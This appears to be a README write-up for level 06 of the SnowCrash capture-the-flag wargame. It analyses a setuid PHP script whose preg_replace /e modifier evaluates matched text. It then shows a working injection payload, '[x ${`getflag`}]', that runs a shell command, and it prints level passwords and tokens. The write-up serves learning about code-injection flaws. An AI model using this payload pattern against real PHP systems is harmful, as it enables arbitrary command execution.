snowcrash/levels/06
2026-01-19 17:25:53 +01:00
..
flag level06 2026-01-19 17:25:53 +01:00
passwd level06 2026-01-19 17:25:53 +01:00
README.md level06 2026-01-19 17:25:53 +01:00

Level 06

how to login

username: level06

password: viuaaale9huek52boumoomioc

Goal

run getflag as user flag06

Actually doing something

level06@SnowCrash:~$ ls -la
total 24
dr-xr-x---+ 1 level06 level06  140 Mar  5  2016 .
d--x--x--x  1 root    users    340 Aug 30  2015 ..
-r-x------  1 level06 level06  220 Apr  3  2012 .bash_logout
-r-x------  1 level06 level06 3518 Aug 30  2015 .bashrc
-rwsr-x---+ 1 flag06  level06 7503 Aug 30  2015 level06
-rwxr-x---  1 flag06  level06  356 Mar  5  2016 level06.php
-r-x------  1 level06 level06  675 Apr  3  2012 .profile

A php file, and a setuid binary ? Seems fishy

lets look at the php file first

#!/usr/bin/php
<?php
function y($m) { $m = preg_replace("/\./", " x ", $m); $m = preg_replace("/@/", " y", $m); return $m; }
function x($y, $z) { $a = file_get_contents($y); $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a); $a = preg_replace("/\[/", "(", $a); $a = preg_replace("/\]/", ")", $a); return $a; }
$r = x($argv[1], $argv[2]); print $r;
?>

This doesnt look good...

lets try to run the setuid binary

level06@SnowCrash:~$ ./level06
PHP Warning:  file_get_contents(): Filename cannot be empty in /home/user/level06/level06.php on line 4
level06@SnowCrash:~$ ./level06 /tmp/flag05
#!/bin/sh
getflag >/tmp/flag05-output 2>&1
chmod +w /tmp/flag05-output

Can we ... just read whatever file we want ?! There must be something

lets look a the php file a bit more

Here is it with a better formatting

#!/usr/bin/php
<?php
function y($m) {
    $m = preg_replace("/\./", " x ", $m);
    $m = preg_replace("/@/", " y", $m);
    return $m;
}
function x($y, $z) {
    $a = file_get_contents($y);
    $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
    $a = preg_replace("/\[/", "(", $a);
    $a = preg_replace("/\]/", ")", $a);
    return $a;
}

$r = x($argv[1], $argv[2]);
print $r;
?>

and here it is with better names

#!/usr/bin/php
<?php
function y($res) {
    $res = preg_replace("/\./", " x ", $res);
    $res = preg_replace("/@/", " y", $res);
    return $res;
}
function x($arg1, $unused) {
    $res = file_get_contents($arg1);
    $res = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $res);
    $res = preg_replace("/\[/", "(", $res);
    $res = preg_replace("/\]/", ")", $res);
    return $res;
}

$r = x($argv[1], $argv[2]);
print $r;
?>

it looks like it replaces lots of stuff, but overhall doesnt do much things

until I researched what the /e meant in the line right after file_get_contents

so it turns out this is a deprecated (and then removed) feature of PHP that allows the regexes search and replace to run code for every match

meaning that this will match any [x <STUFF HERE>] and run the function y("<STUFF HERE>")

lets try some stuff then !

level06@SnowCrash:~$ echo "[x @.@@.] @@" >/tmp/06
level06@SnowCrash:~$ ./level06 /tmp/06
 y x  y y x  @@

It indeed ran the function y on the stuff inside brackets but not the stuff outside

so after a bit of digging into php, this seems to work and give us the flag !

level06@SnowCrash:~$ echo '[x ${`getflag`}]' >/tmp/06 && ./level06 /tmp/06
PHP Notice:  Undefined variable: Check flag.Here is your token : wiok45aaoguiboiki2tuin6ub
 in /home/user/level06/level06.php(4) : regexp code on line 1

From what I understood: ${stuff} is a way to reference a variable name using another expression (here the variable name will be whatever stuff evaluates to) and stuff\ runs the shell command stuff

meaning that we want to get a variable named after the result of getflag -> it doesnt exist -> php compains and print a warning :D